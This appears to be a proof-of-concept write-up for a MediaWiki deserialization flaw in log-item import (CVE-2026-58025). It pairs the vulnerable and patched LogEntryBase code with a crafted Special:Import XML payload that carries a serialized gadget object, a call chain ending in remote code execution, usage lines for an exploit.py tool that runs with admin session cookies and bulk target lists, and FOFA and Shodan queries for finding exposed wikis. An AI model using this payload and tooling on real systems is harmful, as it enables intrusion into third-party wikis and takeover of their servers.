CVE-2026-58025

// includes/Logging/LogEntryBase.php (BEFORE fix)
public static function extractParams( $blob ) {
    return unserialize( $blob );  // ← user-controlled, no allowed_classes restriction
}

POST /wiki/Special:Import
  Content-Type: multipart/form-data
  action=submit
  xmlimportfile=<malicious.xml>
  source=file
  catname=
  prefix=
  loginComment=

malicious.xml:
  <mediawiki ...>
    <logitem>
      <type>test</type>
      <action>test</action>
      <params>a:1:{s:3:"foo";O:8:"GadgetClass":N:{...}}</params>
    </logitem>
  </mediawiki>

→ WikiImporter::handleLogItem()
→ WikiImporter::processLogItem()
→ WikiRevision::importLogItem() → stores to DB
→ Later: DatabaseLogEntry::getParameters()
→ LogEntryBase::extractParams( $blob ) → unserialize( $blob )
→ PHP instantiates GadgetClass object → __wakeup() / __destruct() gadget chain
→ RCE as www-data

a:1:{s:3:"foo";s:3:"bar";}

a:1:{s:3:"foo";O:8:"stdClass":0:{}}

// includes/Logging/LogEntryBase.php (AFTER fix)
public static function extractParams( $blob, ?string $logType = null ) {
    $attribute = ExtensionRegistry::getInstance()->getAttribute( 'LogParamsAllowedClasses' );
    if ( $logType && array_key_exists( $logType, $attribute ) && is_array( $attribute[$logType] ) ) {
        $allowedClasses = $attribute[$logType];
    } else {
        $allowedClasses = false;  // no classes allowed
    }
    $result = @unserialize( $blob, [ 'allowed_classes' => $allowedClasses ] );
    if ( $result !== false && !is_array( $result ) ) {
        return false;
    }
    return $result;
}

public static function containsUnsafeParams( array $params ): bool {
    $result = false;
    $params = [ $params ];
    array_walk_recursive( $params, static function ( $val ) use ( &$result ) {
        if ( $val instanceof \__PHP_Incomplete_Class ) {
            $result = true;
        }
    } );
    return $result;
}

private function processLogItem( $logInfo ) {
    if ( !$this->performer->authorizeAction( 'logentryimport' ) ) {
        $this->notice( 'permissionserrorstext-withaction-noreason', ... );
        return false;
    }
    // ...
}

if ( LogEntryBase::containsUnsafeParams(
    LogEntryBase::extractParams( $this->params, "{$this->type}/{$this->action}" ),
) ) {
    wfDebug( __METHOD__ . ": skipping {$this->type}/{$this->action} with unsafe params" );
    return false;
}

# Generate malicious XML payload
python exploit.py --generate --output payload.xml

# Fingerprint target
python exploit.py -u https://target.com --check

# Full exploit (requires valid session cookies for sysop user)
python exploit.py -u https://target.com -c "session_cookies_here"

git clone https://github.com/shinthink/CVE-2026-58025.git
cd CVE-2026-58025
pip install requests

# Generate malicious XML import file
python exploit.py --generate --output payload.xml

# Fingerprint MediaWiki version
python exploit.py -u https://target.com --check

# Upload malicious XML via Special:Import (requires sysop session)
python exploit.py -u https://target.com -c "wiki_session=abc123; wikiUserID=1; wikiUserName=admin"

# Bulk check
python exploit.py -f targets.txt --check -o results.txt

FOFA:   body="mediawiki" && body="Special:Import"
Shodan: http.html:"mediawiki"